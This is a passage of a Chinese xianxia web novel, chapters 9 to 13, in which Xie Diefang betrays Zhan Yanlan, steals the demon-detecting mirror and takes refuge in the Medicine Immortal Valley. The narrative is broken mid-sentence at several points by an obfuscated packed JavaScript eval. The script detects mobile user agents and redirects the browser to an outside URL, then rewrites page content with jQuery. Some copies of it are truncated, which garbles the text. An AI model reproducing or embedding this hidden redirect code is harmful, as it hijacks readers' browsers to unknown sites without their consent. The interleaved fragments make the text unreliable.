是以,棋夫子故作软下心来,温言劝道:“言岚,掩饰真相需要更高明的骗术,你信你二师姐不可能勾结魔物,师尊亦然。眼下鉴魔镜是你二师姐洗脱罪证的关键所在,是否有魔气存在一试便知,你应该倾力相助才是。” 谢叠芳闻言,收敛情绪,面色恢复平和,淡漠的眼色裹挟一种微妙的陌生情愫,竟叫人看不透,又莫名生畏,她露出笑容,极快掩盖了它,迎风走出墨香正堂,立身于堂外。 不等展言岚出声,她坦坦荡荡站在大庭广众之下,等待鉴魔镜宣判。 “我可以配合展师弟施展鉴魔镜,以证清白。” 展言岚思绪万千,但有一点极为清楚,直觉告诉他:不能动用鉴魔镜。 谢叠芳已然答应,棋夫子步步相逼,他的取决无足轻重,无关紧要了。 展言岚踏出正堂,期盼谢叠芳像上次诛魔行动那样给他指条明路。 墨香正堂外,人群之内,谢叠芳面对展言岚,用仅他一人能听见的音调道:“展师弟,你过来,我有些话想同你说。” 展言岚毫不迟疑,停步在她面前,而谢叠芳则上前一步,下一刻紧拥住他。 突如其来的举动,展言岚不禁心中一震,反拥住谢叠芳,谢叠芳温柔的声线此刻在他耳边响起,“言岚,谢谢你信任我,我很感激。” 展言岚心中一软,不由将她拥紧,“师姐,我……” 后话未至,他胸前骤然一痛! 展言岚惊恐地往下看,杀死血盘虫的那把匕首扎进他胸口,谢叠芳顺势松开他,亦望着,冰冷的眼神充斥疯狂,唇角弯成一个极为柔和的弧度。 “下次见面,别再这么天真了。” 是忠告,像嘲讽。 她手法极快,拔出带血的匕首,一蓬血雾喷出,左掌打在他胸膛,紫色魔气呼之欲出。 仙气魔气裹挟交错,巨大的冲击力震退上前拦截的数名修士。 谢叠芳掌心传来噬骨般的痛,咬紧牙关,见鉴魔镜未出遂又加重了几分,伴随鉴魔镜渐渐被逼出展言岚体内,她成爪的左手肉眼可见地飞快化作阴森白骨。 镜光映衬下,棋夫子眼见谢叠芳化作枯骨的手握住鉴魔镜,挥来一滴血,猛然意识不妙。 “拦住她!” 可惜太迟,谢叠芳捅了展言岚一剑,心头血已落入她手,她似乎不惧展言岚看到自己真实的一面,在他难以置信的目光下将那滴心头血滴入鉴魔镜的镜面。 ——滴血认主之契已解! 伴随魔气消散,鉴魔镜的镜光逐渐黯淡,仍然烧灼谢叠芳的手骨。 面对突如其来的一幕,贯会洞察人心的严观苍竟也看不明,见身侧棋夫子反应出奇的怪异,面目狰狞,下令道:“谢叠芳勾结魔物,堕入魔道,罪无可恕,风雷岛所有修士速速将她拿下,夺回鉴魔镜!” 飞跃至半空的金乌弓得到谢叠芳召唤,数支金羽箭矢缠绕淡薄魔气,直指底下修士。 谢叠芳身法如电,抢先金乌弓一步,反手掐住展言岚脖颈,叱道:“谁再上前一步,我杀了他!” 手持仙器的修士有顾虑,纷纷止步,等待棋夫子吩咐。 棋夫子面色阴沉,眼神变幻,终于一字一句道:“看来,你已经知道了?” 展言岚失血过多,被挟持住,迷糊听见谢叠芳恨恨地道:“多亏师尊多年栽培,不然我岂有反水之机。” 棋夫子瞟向谢叠芳握着鉴魔镜的手颤抖得厉害,伤处没有血,而是直接化为虚无,便沉声道:“你已无全身而退的可能,放下鉴魔镜和言岚,我或可饶你一命。” 谢叠芳似乎听到了天大的笑话,呵笑一声,直言道:“我来,就是为了夺取鉴魔镜,断你念想。” “尔敢!”棋夫子被拿捏到软肋,顿时勃然大怒。 “我若不敢就不会二次回岛,堂堂风雷岛岛主为一己私欲,违背天理,倒行逆施,竟叫魔成了仙。”谢叠芳高声话落,瞥向身前的展言岚,挑了挑眉头道:“展言岚!看清楚你素日敬重的师尊究竟怎样一个道貌岸然的伪君子了吗?” 展言岚郁结,望眼前的谢叠芳陌生到极点,呆怔住。 谢叠芳见他反应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902432|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则低低地似笑似哭,神情诚恳,愁着眉头道:“说句真心话,你为我求情,我甚是感动,是他们逼迫至此,不然你我不会走到今时这般糟糕的地步。 她掐住他脖颈的力度陡然重了几分,展言岚呼吸一紧。 “至于过去……”谢叠芳神情忽地变了,冷漠至极,讥讽道:“逢场作戏罢了,远不如你为我求情的情分,完全是为了戏弄你顺手编造的谎言。” 展言岚脑袋一嗡,难以置信,“所以,你一直在骗我?” “对……”谢叠芳笑了笑,看着他哀哀欲绝的可怜模样,像刚知道被抛弃、践踏的怨夫,无比满意自己的杰作,“又或者说半真半假,毕竟长庚仙君是仙门众多女修的梦中情人,我还算好生消受了下。” “休听你巧言令色搬弄是非,”封单月斥道,拔出佩刀,指向她,“魔终究是魔,谢叠芳你自甘堕落,是你败了。” 谢叠芳嗤笑一声,冷声道:“少得意了封单月,我不管落到哪样下场,你都是手下败将。” “你——” 谢叠芳忽喝道:“要展言岚安然无恙,所有人马上退开!” 封单月哪管展言岚死活,急声道:“师尊,绝不能放了她!” 棋夫子面色不改,盯着谢叠芳,眉头深蹙,冷声下令:“让开!” “师尊!” 包围的修士们只能缓缓退开,留出一条道。 谢叠芳挟持展言岚,一路退到墨香正堂外那片临近大海的岸口。 “报——” 此时,一名守岛修士御剑忙不迭落至棋夫子面前,神情惶恐,“师尊,有一条两百年的乌鳞蛇冲破护岛结界,闯上风雷岛,正朝墨香正堂来!” 棋夫子看向对面的谢叠芳,“看来是你的帮手!” 话甫落,一只被撬开的巨大灵蚌从天而降,砸散人群。 谢叠芳眸色一变,当即将展言岚推给涌来的修士,自己果断扑向灵蚌内。 棋夫子召唤佩剑,再无顾虑,朝谢叠芳挥去一道凌冽剑气,她身法极快,已然消失不见,那道剑气在坚固的蚌壳上削下一痕。 谢叠芳一入灵蚌,乌鳞蛇的蛇尾随至,甩开拦路的五名修士,方圈住灵蚌。 棋夫子见状,怒声道:“也一并将这孽畜拿下!” 封单月反应最快,冲向前去佩刀削铁如泥,一刀斫掉蛇鳞,乌鳞蛇大声怒吼,一甩长尾,撂倒一大批修士,也将藏有谢叠芳的灵蚌滚了出去。 两方争来夺去,巨大的灵蚌在混乱的局势四处翻滚,滚到海崖边缘处,乌鳞蛇趁机蓄了满口涎液,就着海水喷吐而出,被淋了一身的修士疼痛不已,让乌鳞蛇有可乘之机,竟叫它头也不回,卷蚌走人。 众修士一并追赶,驭刀剑、施雷法…… 展言岚欲追去,胸口的血又涌出,几名医修连忙压住他止血,他目光碎裂下,眼睁睁看着灵蚌消失在雷电之中。 她狠心刺伤了他,毫不留情,头也不回地离去。 匕首刺入他胸口,鲜血晕开一片。 痛。 但更多的不解很快盖过这痛。 10. 第 10 章 为什么? 师姐与师尊的对话坦白她为鉴魔镜接近他,利用他,可他还是不明白,像个世间千千万万个遭到背叛的人一样,疑惑究竟为什么。 以至于过了一千年,他始终忘不了便是师姐这一剑扭转局势,魔界得以与修仙界分庭抗礼,亦让他学会审时度势。 只是,他终究想不通谢叠芳心中所思,执着了千年。 修士们不住痛骂这孽畜犟,乌鳞蛇在上百名风雷岛的追击被伤得遍体鳞伤,坚硬如铁的蛇鳞掉落大片,露出触目惊心的皮肉,仍然义无反顾直冲东璩洲深海,还是叫谢叠芳逃了。 棋夫子后脚跟上,望着海面溅起的涟漪,心有余悸,强行按捺住情绪。 “谢叠芳叛逃,立刻上报仙盟,马上召集波阙州弟子,所有人继续追!” 谢叠芳知晓自己身世不打紧,最重要的是把她抓回来,不能让计划走漏半点风声。 否则他命不久矣,风雷岛也休想保住! 魇音潜入深海,暂时避开风雷岛修士的追击,可一旦海面显露踪迹或者是出水,风雷岛修士必会将它一击毙命。 这群该死的仙盟修士! 迫害我魔族至今,视如草芥,魇音必报此仇。 三个月前,魇音便是被风雷岛修士活捉上岛,以作提取无根之毒,炼制催心丹之用。 关在暗无天日的牢笼里,耳边是窸窸窣窣的其他魔物呻吟声,天再次亮起时,魇音见到了谢叠芳,以及站在旁侧监督的棋夫子。 彼时,魇音未恢复原身,以五十年的乌鳞蛇示众,风雷岛修士依旧忌惮它的毒液,无人敢靠近。 它想,谁敢动它,它就咬死谁。 但,魇音还是太年轻了,白活两百年,面对谢叠芳竟毫无招架之力,像砧板上任人摆布的鱼,乖乖被撬开嘴,被取走涎液后,老老实实被送进牢笼,本以为就此成一样提取无根之毒的物什。 但魇音再次醒来,牢笼不知是哪个糊涂蛋忘记上锁,它心中大喜,凭细小的身躯躲过一干风雷岛修士的眼睛,只是碍于护岛结界,无法马上离岛。 不等魇音找到解决之法,它逃跑的消息不翼而飞。 魇音步步惊心,就在被修士们发现前,谢叠芳先找到了魇音,面对取它涎液的敌人,魇音敌意更重,正当獠牙即将咬中她的手。 她说:“牢笼的锁是我开的,你就是这么对待救命恩人的吗?” 魇音收了獠牙,眼前的粉衣女子如观音那般慈悲,神情温善,抚摸它脑袋,度化了它。 之后,风雷岛便有一件传闻:乌鳞蛇不翼而飞,离奇失踪。 也在那时,魇音才知晓棋夫子督促谢叠芳提取无根之毒,实则是监督她。 他自始至终忌惮谢叠芳,哪怕她过去还未发现自己身世。 暗沉深海,魇音望向蛇尾勾住的灵蚌,更担忧。 鉴魔镜诛魔的威力有目共睹,销魂娘子形神俱灭就是最有力的证明,谢叠芳如今与鉴魔镜共处,凶多吉少,更何况她旧伤添新伤…… 魇音停了下来,转头准备打开灵蚌,先将鉴魔镜取出来。 方要撬开灵蚌,谢叠芳沉闷的声音传出,“……不许停,按计划只管逃去药仙谷,不要因我被抓,不然一切都白费了。” “可是你……” “没有可是!” 魇音被呵斥。 魔族能否反击,全部赌在这一线生机。 魇音不敢再犹豫,狠下心兀自游向南疆。 涂火鸟获救,欠魇音一个天大人情,现下潜伏岸边,没了鉴魔镜,风雷岛成不了大气候,魇音只要求涂火鸟拖住他们便可。 海面隐约有火光闪烁,潜伏暗礁的魇音当机立断冲出,庞大的身躯带起数丈高的海水,水花四溅,吸引埋伏在这一带的风雷岛修士。 “嗖——” 数支飞箭正当射中魇音,不知从何处来的火焰烧灼了它们。 “什么?!” 一名风雷岛修士惊恐感叹,以涂火鸟为首,潜伏在南疆茂密丛林中的魔物一只只探出身躯,延续到南疆山脉深处,数量庞大,眼含杀机。 修士猛地回头,大喊道:“快去禀告师尊,南疆魔域有变!” 话刚落地,他防不胜防,眨眼间人被自地里偷袭的魔物一口吞下。 魇音身法轻快,药仙谷地方隐蔽,坐落于南疆山脉深处,它固然没去过,但一路有轻车熟路的魔物指路,很快来到药仙谷谷口。 此时谷口站十名女修。 为首的青衫女修便是药仙谷谷主白少芷,她文雅静丽,发饰简朴,仅以一支玉叶簪束发,一见倒地不起的乌鳞蛇拼死带回的灵蚌,立刻会意里面装着谢叠芳,沉着吩咐其他药仙谷弟子把灵蚌抬进谷。 一只碧色三眼魔物从不远处跳来,嘴里叽里咕噜。 白少芷诧异,“风雷岛岛主竟也来了,涂火鸟呢?” 碧色三眼魔物吱了一声。 已经遇上风雷岛修士。 涂火鸟不合群,素来少与药仙谷交集,加上小敦村远在东北方位,路途遥远,以至于白少芷对涂火鸟和销魂娘子的事所知甚少。 只是这次它被乌鳞蛇所救,为报恩单枪匹马应对风雷岛,白少芷听闻此事,请出大小魔物相助。 白少芷会意,在魔物的指引下携余下六名弟子前往。 南疆与东璩洲海域交界处密云不雨,风雷岛修士如大军压境,面对许多将他们拦截在外的魔物,虎视眈眈。 严观苍心有顾虑,便对棋夫子道:“师尊,魔物只拦不攻,定是受人之命,再拖延下去恐怕不妙,它们数量不多,弟子领人将它们一并杀了罢。” “风雷岛诸多修士今日大驾光临南疆,一言不合便要大开杀戒,仙盟盟主原是这般纵容盟友藐视法度的吗?” 不待棋夫子出声,此言一出,众修士俱变了神色。 人未现,声先至。 棋夫子听声音便知是谁,这么大的阵仗,除了那位药仙谷谷主,还有谁能令众多无家可归的魔物不惜正面对抗风雷岛? “白谷主闲云野鹤,何必蹚这浑水,惹一身麻烦。” 白少芷从扶疏枝叶里迈出步子,两旁的魔物皆自觉为她让了路,崇敬有加,被魔物如此敬待,棋夫子态度亦是无意争锋,风雷岛修士无不忌惮,正目而视。 她面容深静,“我深居简出,不问纷争,只是我药仙谷的朋友们说今日风雷岛都快打到我药仙谷谷口,我岂能坐视不理。” 棋夫子退让一步,“只要交出谢叠芳和鉴魔镜,我等必不为难。” 白少芷眼也不眨,只道:“岛主,请回吧。” 棋夫子哪想白少芷回答简洁明了,如此坚决,颇有咬牙切齿的意味道:“白谷主不打算交人,看来欲与仙盟为敌。” “岂会?”白少芷言之凿凿,“岛主有所不知,仙盟还有不少病友常来药仙谷治病,少芷怎能因为个人恩怨丝毫不顾,撕破颜面。况且药仙谷独树一帜,不入仙盟,不受仙盟法则约束,少芷亦做事不会听从任何人的命令,岛主若是要动手,还请先请示你们盟主过后再来。” 白少芷说话不轻不重,用词严谨,却是点醒所有人。 风雷岛众修士听命于棋夫子,而棋夫子授盟主之命,上下交接,得仙盟重用,大事上却捉襟见肘,处处受限,而药仙谷放眼整个修仙界,除了未入仙盟的小仙门,它是唯一与魔物结善的仙门。 在南疆,白少芷有绝对的优势,她不与仙盟交恶,亦与魔物结友,风雷岛和药仙谷一旦开战,必引动大半个南疆魔域,少不了腥风血雨,局势不管如何变动,谁都承担不起后果。 白少芷发觉棋夫子动容,再道:“望岛主慎行。” “撤。”棋夫子看了一眼白少芷,吩咐下去。 传闻里的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白少芷一惊,见她心意已决,“你刚从鬼门关逃回来,如今又要洗仙髓,我已告知其中危险,考虑过自己的安危吗?” 棋夫子炼魔为仙的真实目的犹未可知,回岛盗取鉴魔镜只是她计划中的一环,削弱仙盟诛魔实力,试探其真正目的。 如今计划奏效,矛头指向仙盟,乃至于仙盟盟主叶燃烛。 谢叠芳道:“没时间了,我必须变强,棋夫子已经将我叛逃之事传达仙盟,叶燃烛不会放过我,没有强大的力量,若那一天到来,如何护住南疆魔域和药仙谷,以及……流落在外的魔族?” 八百年前先魔尊败给浮罗仙人后,仙盟日渐强大,魔界不复存在,魔族式微,落了个被斩草除根,随意虐杀的下场。 这次诛魔行动,谢叠芳目睹风雷岛修士掠夺涂火鸟鸟卵当成泄愤的对象捅破,她却束手无策,还要装出一副漠视,毫不在意的样子,更甚要拍手叫好。 她无法再忍受这种迫害,无法再忍耐下去,这场杀戮,她也是帮凶。 可那是她的同族! 白少芷心念一动,听出谢叠芳言外之意。 一身血泪的女子无尽苍凉,满目恨意,她说:“我要问鼎魔尊之座,一统魔界,对抗仙盟。” 谢叠芳当年与江满交手,重伤流落南疆,被路过的魔物送往药仙谷,结识了白少芷,也是那天谢叠芳知晓了自己的身世。 东璩洲的海风似有毁天灭地之能,惊涛骇浪,崖石风化,唯有三尖崖之上的两人定如磐石。 “江满,你已无路可退!” 魔修江满曾也是仙盟一员,乃西地沙昼城城主弟子,五十年前杀害同门师妹,叛门逃离,城主狄晟痛失侄女,请盟主下追杀令,凡是有人提江满头颅来见必有厚报。 11. 第 11 章 而谢叠芳诛杀江满,哪是为了什么厚报,江满堕魔逃亡后在东璩洲自立门户,魔修魔物纷纷投靠,威胁到风雷岛掌控东璩洲。 是以,棋夫子派出谢叠芳。 一来,她身份特殊,不会接触鉴魔镜。 二来,江满下落难觅,以她的修为和超绝的箭术,诛杀过不少魔修,有把握诛杀江满。 但棋夫子失算了,沙昼城隐瞒江满盗走敲仙杖。 正当谢叠芳即将毙命江满时,江满已无傍身法器,求生欲望极强,当机立断甩出敲仙杖,耗尽魔力昏死。 谢叠芳身中一杖,口吐鲜血,本以为无大碍,爬起来要击杀江满,可江满那一杖损她仙髓,打破封魔印。 一时之间,谢叠芳体内仙气魔气互相排斥,互相抵消,魔身经不住这般消磨,谢叠芳痛苦不堪,同这股排山倒海的力量负隅顽抗,目睹魔气来源她本体,内心崩溃远超□□摧残。 她失足坠落三尖崖,跌入无尽暗海。 在场再无第三人,没人知道那一天发生了什么,谢叠芳下落不明,再次现身已是她回岛复命那一日,她在棋夫子惭愧自己失手。 棋夫子从长计议,并未严惩,也没发现他的弟子已经变成另外一个人。 一个外表言听计从,实则卧薪尝胆的魔,故作不知风雷岛的死对头沙昼城弄丢了盟主交付的仙器敲仙杖。 谢叠芳叠腿打坐,白少芷备好细针,手持第一根,立于她头顶。 “凝神。” 谢叠芳照做,心有防备,但洗仙髓的痛远远超过她认知,额头冒出冷汗,这一针对元神的痛比江满那一杖更甚。 细针插入头顶的同时,谢叠芳胸腹前凝聚一株暗紫色魔草。 白少芷一眼认出。 师父留下的三界药典内记载这株魔草,她虽没亲眼见识,但眼前五叶魔草每一叶都长着特殊的银色暗纹,魔气充沛,正是魔族圣物——五叶芳菲草。 是药三分毒。五叶芳菲草以毒之用,毒之首位,神仙难救;以药医之,便是世间难得的药草。 只是她未曾设想,谢叠芳的真身竟是五叶芳菲草。 白少芷见识颇广,曾救过即将堕魔的修士,洗魔气固仙髓,谢叠芳体质特殊,恰恰相反,白少芷没有绝对把握,谢叠芳却无比信任她,要以真身洗仙髓。 脱胎换骨便是一次豪赌,谢叠芳忍住剥真身洗仙髓之痛,甚至赌上全部。 白少芷见她如此信任自己,便反其道而行之:洗仙髓,依谢叠芳的话,取下一叶芳菲草。 排出十根细针,依次从上往下插入各个穴道,打断流转四肢百骸的仙气,以一叶芳菲草净她身心。 伴随仙气渐散,谢叠芳修为一下子跌落八脉境,魔气再无压制,自发而出,从胸腹传遍四肢,直至最后一丝仙气消失,五叶芳菲草紫光更胜,谢叠芳修为竟无需借助外力,升至禅关境初期。 北寒域,九渠宫阙。 一座偌大神秘的白玉宫阙坐落于冷风吹荡不开的浓重云雾,此时,从未向世人展现原貌的宫阙破天荒来了几个外人。 其中一个正是棋夫子。 他从南疆回到风雷岛后立马收到叶燃烛召见,毫无疑问是冲着谢叠芳盗取鉴魔镜之事来,严观苍随行其后。 叶燃烛明目垂睫,什么情绪也无地说:“这件事你做得不漂亮,鉴魔镜丢了,人也丢了,你让本尊如何是好?” 棋夫子伏首在地,不敢出大气,“盟主恕罪,此事是我疏忽大意之错,理应受罚,但其中竟有蹊跷,还请盟主让狄城主前来对质。” 叶燃烛抬眼,“让狄晟来做甚?” 死到临头,棋夫子已无顾虑,大不了鱼死网破,他视死如归,“谢叠芳之所以叛逃全因封魔印被破,普天之下能破解封魔印的仙器之一正有敲仙杖,谢叠芳此前与江满交手,恐怕是期间出好变故,我怀疑……不,我认定沙昼城丢失敲仙杖隐瞒不报,才致谢叠芳夺走鉴魔镜!” 狄晟不远千里赶来九渠宫阙,拜见过叶燃烛。 叶燃烛未明示,允他起身,旁侧的面敷白粉,口点朱的老者开口不疾不徐,和盘托出。 狄晟听时,垂首瞟向跪地不起的棋夫子,心中彻悟,彼此当了一辈子的死对头,连死也拉他一块陪葬。 泥婆娑话毕,警示狄晟道:“狄城主,你可认罪?” 狄晟朝叶燃烛躬身一拜,“盟主,棋夫子之言简直无稽之谈,为了给自己开脱,竟编出漏洞百出的谎话诬陷沙昼城,妄图欺骗盟主,当年交付沙昼城的敲仙杖我可是一并带来了。” 说时,他取出一根金色法杖,符文盘旋,蕴含通天神韵。 泥婆娑上前接过,定眼一瞧,一番打量下来,禀明道:“符文做不了假,确实是寒觞仙尊打造的敲仙杖。” 寒觞仙尊乃九渠宫阙第一任宫主,功德无量,得道飞升,座下亲传弟子仅有两人,二任宫主兼仙盟前盟主浮罗仙人和白目老人。 棋夫子猛抬头,从未失仪过,他面色尽失,对着敲仙杖喃喃自语:“假的……假的!” “这不可能……绝对是假的!假的!” 棋夫子转头盯向狄晟,恶狠狠道:“狄晟,你为了害我,居然事先造了假的敲仙杖!” 泥婆娑则是将敲仙杖递到棋夫子面前,嗲着嗓子道:“岛主好生看看。” 杖上繁复符文百态变幻,栩栩如生,棋夫子瞳孔骤然一缩。 杖身可能作假,但杖上的符文绝无可能,符文出自寒觞仙尊的手笔绝无仅有,除了亲传弟子得他真传,三界再无他人能够做到如此贴切的程度,但浮罗仙人和白目老人皆已不在,狄晟呈上来的敲仙杖绝无造假可能。 棋夫子如坠冰窟。 狄晟面沉如水,对叶燃烛道:“盟主明鉴,敲仙杖此前从未离开沙昼城半步。” “棋夫子。” 叶燃烛的声音自宫阙高座传荡而下,如撞鸣钟,周围云雾驱散开来。 “念你曾为仙盟谋划,劳苦功高,本尊对外宣称风雷岛岛主寿元尽仙逝,赏你一个体面,自毁元神罢。” 棋夫子眼泪纵横,“……谢盟主开恩。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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泥婆娑这才挪开脚,严观苍被打得鼻青脸肿,最后一脚踹在他脸上,磕碰到牙尖,冒出血丝。 良久,叶燃烛的声音再次挽救严观苍,“你想要风雷岛岛主的位置,而今风雷岛无主,不如你代替棋夫子,为本尊继续做事,如何?” 严观苍吞下血沫,摸爬滚打起身谢恩。 “泥婆娑,送狄城主回吧。” 泥婆娑轻视地瞧了严观苍一眼,而后带着狄晟离开九渠宫阙。 人走后,叶燃烛的真面目从云雾里显来形,严观苍不敢正视,压低视线,但见一个外貌不过二十出头的年青男子踏流云,面庞清冷,身量奇高,衣饰清贵,眼里却透着一种诡异的淡漠,淡漠到不属于这三界的生灵。 像一缕虚无的孤魂,毫无生气。 “你现在只要做两件事,第一管好风雷岛,第二,为本尊寻一具合适的肉身。” 展言岚醒来,风雷岛已经发生翻天覆地的变化。 林昭夜伴他身侧,事无巨细说清楚。 就在五天前棋夫子仙逝,严观苍继任岛主之位,他作为大师兄确实名正言顺,却也不有不少异议。 棋夫子仙逝前,固然未曾颁令将岛主之位传给展言岚,但风雷岛上下,服气的,不服气的都默认了这点,如今说变就变,明眼人早已看出其中蹊跷,势必要等展言岚苏醒再决定。 12. 第 12 章 严观苍早就料到会有这么一出,便坦白他受了盟主之意继任岛主之位,持盟主手信,日后承师尊千秋万代之风,发扬风雷岛,有异议的人一见盟主手信,顿时噤若寒蝉。 是以,不待展言岚醒来,岛主之位就此拍板。 “风雷岛的天说变就变,我请命去往大师姐镇守的揽珠州,也图个清净,严观苍必容不下你,你……要不要同我一起?”林昭夜看向伫立窗旁的展言岚,身子虚弱,已见病容。 事发当日,林昭夜火急火燎,请岛上医修一定要救他,医修倾力相救治住血,可人迟迟未醒,医修尽了分内之事,剩下的只能靠展言岚自己抗过去。 眼见他连续昏迷了五天五夜,林昭夜恨不能马上去请南疆那位药仙,偏就在这时,他听事发当日追捕谢叠芳的修士说救走谢叠芳的乌鳞蛇正是朝药仙谷去的,后续更是请出谷主出面解围,震惊无比。 “多谢,我不打算走。”展言岚收敛目光,他长发披散,劲瘦结实的上身赤裸,胸前裹着绷带,披上外衣,准备离开药庐。 林昭夜赶忙拦住他,“去哪儿?” “见岛主。” “今非昔比,你势单力薄,严观苍没主动找你茬,你倒上赶着送死,不行,你不能去。”林昭夜扯着展言岚手臂,一拉,竟纹丝不动,见他俨然不动,只好妥协,好心劝道:“至少等你伤好。” 林昭夜一使蛮力,“怎么这么犟。” 他后续将展言岚送回床旁,一屁股坐回去,“严观苍当了几天岛主,重整岛上大小事务,乐在其中,从未来看你一眼,估计是心情大好,无心记起你,不过封单月倒是来过一回。” 展言岚无大碍,方才还有力气折腾,林昭夜便开玩笑道:“来看你死没死,要不要找地方埋了……” 展言岚面无表情看着他,林昭夜收起不正经,心虚地偏开了目光,改口道:“查看伤势,不过是真心看你死没死,谢叠芳那一剑不偏不倚刺在心头,幸亏未再进一分,医修们才能把你从鬼门关救回来。” 说到这儿,林昭夜不禁感慨,“这女子真是心狠,唉,知人知面不知心,不怪你我他都被骗了……” 望向展言岚,见他一副黯然神伤的模样,林昭夜知道自己无意戳到他痛处,拍了拍嘴,“瞧我这破嘴,破嘴。” “她现在……如何了?” 展言岚喃喃问道,忆起事发当日,谢叠芳右手挟持他,左手忍着被鉴魔镜所伤之痛,皮肉皆失,露出一截阴森白骨,历历在目。 心不知怎的,猝然一沉。 他摸向伤处。 林昭夜忙道:“是伤口又出血了?” 展言岚眸光黯淡,“没事。” “她应该挺好的,被药仙所救,处境不知比你好上几倍。” “那便好……” 林昭夜见他伤到深处,认了栽还在心疼对方,气不过来,“她伤你至此,你倒还忧心她,知道现今岛上都怎么传你的么,长庚仙君被妖女骗心骗身,惨遭抛弃,说难听点就是倒贴,她消受完利用完了,一了百了,拍拍屁股走人,你呢,无处话凄凉①。” 林昭夜骂人不带脏字,说得展言岚讪笑。 是要怪谢叠芳骗术太高明,不怪展言岚涉世未深好骗? 还是说一个愿打一个愿挨? 林昭夜无奈叹气,看着他语重心长道:“其实也不能怪你,师尊怀疑她时我也不信,不过现在也不算太晚,看清她为人,至少没把命搭上。” “现在这件事已经不是你们两个之间的事了,上接仙盟,下接风雷岛,又牵扯出南疆魔域和药仙谷,不会这么简单。” “我明白。” “既然明白,就跟我去揽珠州避避风头。” 展言岚摇了摇头。 林昭夜叹了口气,仁至义尽,其余的只能靠他想通,“我也累了,你好好歇息。” 他阖上门缝前,展言岚呆呆坐在床沿,低眉垂首,像尊石雕,而今似乎注入感情,浓浓忧郁化不开。 翌日,有修士目睹展言岚前往墨香正堂,约莫一炷香的时间,他人出来,当天下午带领部分波阙州新入门的弟子出岛。 那日后,严观苍向众人解释,长庚仙君请命镇守飞月州,自立洞府。 飞月州是什么地方,那是连魔修都不愿去的落魄地,地处东璩洲南部的荒凉地,所有附属仙州里它离风雷岛最远,离南疆最近,多年未开发,只有犯事的风雷岛修士才被派遣去。 展言岚此举正合严观苍心意,他没有为难,还打算拨一部分岛上修士帮衬,谁知展言岚不不识好歹,反而要波阙州弟子。 波阙州弟子能做什么用,不添事都算好,严观苍便随他去。 不杀展言岚,无需担心惹来众怒,又能将其排挤在外,不必担心受怕岛主之位不保。 严观苍求之不得。 飞月州地广人稀,的确荒凉,魔修都不稀罕之地。 波阙州弟子面对此情此景更堪忧,他们刚入门,连一名正式修士都算不上,风雷岛的边摸都没摸到就被发配到这个鬼地方。若不是带他们来的是长庚仙君,他们一干人等在听到消息之前早就收拾铺盖走人。 “长庚仙君,这可怎么办?”一名弟子问道。 “收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902435|176700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾吧,把地挪空,东璩洲若有无家可归之人,许他们容身之处。” 弟子顿悟。 是呀,他们正缺人手,如今有长庚仙君坐镇,还怕没人来? 十年如一日。 飞月州在长庚仙君的治理富饶起来,胜过周围大大小小的仙岛,比肩揽珠州,成为凡人在东璩洲首选的定居地,人一旦多起来,流转其中的三教九流自然也多,加之飞月州管理宽松,只要不僭越底线,各个洲魔修慕名而来,聚集于此,成了三界自由之地。 座下仙童补上新烛火退下,长庚洞府的深夜重归静悄无声。 烛火扑了一下,烛光摇曳。 他又做梦了,梦境里石松崖上那道粉影依旧没变。 “展师弟,你要不要喝点青梅酒?” 她在问,眼里映着青涩,经不住撩拨的他。 不顾他解释,塞入他怀里。 “上好青梅酒,旁人我可舍不得忍痛割爱,喏,仅此一回。” 一年又一年折磨他,永记于心。 “展师弟。” 她轻柔的声线呼唤着他,魂牵梦绕,梦境不断变化,迷蒙、沉沦、跌宕……直到眼前一片血腥。 “展言岚!” 她撕心裂肺,像喋血的恶鬼,亲手打碎为他编织的美梦。 “下次见面,别再这么天真了。” 痛吗? 痛就对了,逃不掉的。 梦境里的她快活地欣赏他身心皆痛,残忍地对他,纠缠着,吞食他的血肉,将他拉下深渊,恨他长长久久,要他永世不能翻身,也要他恨自己、亦怨她长长久久。 展言岚幽幽睁眼,眼睫颤动,心神恍惚,大口喘气。 桌上的湮尘剑剧烈颤抖,唰的一声,抽离出鞘,直指剑主。 展言岚眼神混浊,掀翻了桌案上那盘青梅,不禁吐露一个字眼。 “师姐……” 湮尘剑剑光一闪,斩断展言岚身上一丝淡薄魔气,展言岚登时清醒,脱离梦境,看到湮尘剑的同时顿时明白,他去握剑柄,湮尘剑有所抗拒,最终还是回归他手。 “我又没压制住它,对吗?” 是不是他彻底忘掉,就能摆脱? 能忘掉吗? 忘不了,忘不掉。 他百般尝试,都以失败告终。 胸前的伤疤无时无刻都在提醒他,如外界所说他被一个女人骗得很惨很惨。 一千年过去,他故作不问世事,闭目塞听,佯装不知谢叠芳收复魔域的事,可人怎能做到无心无情,对自己留恋,伤害过自己的人全然忘干净。 13. 第 13 章 “呔!” 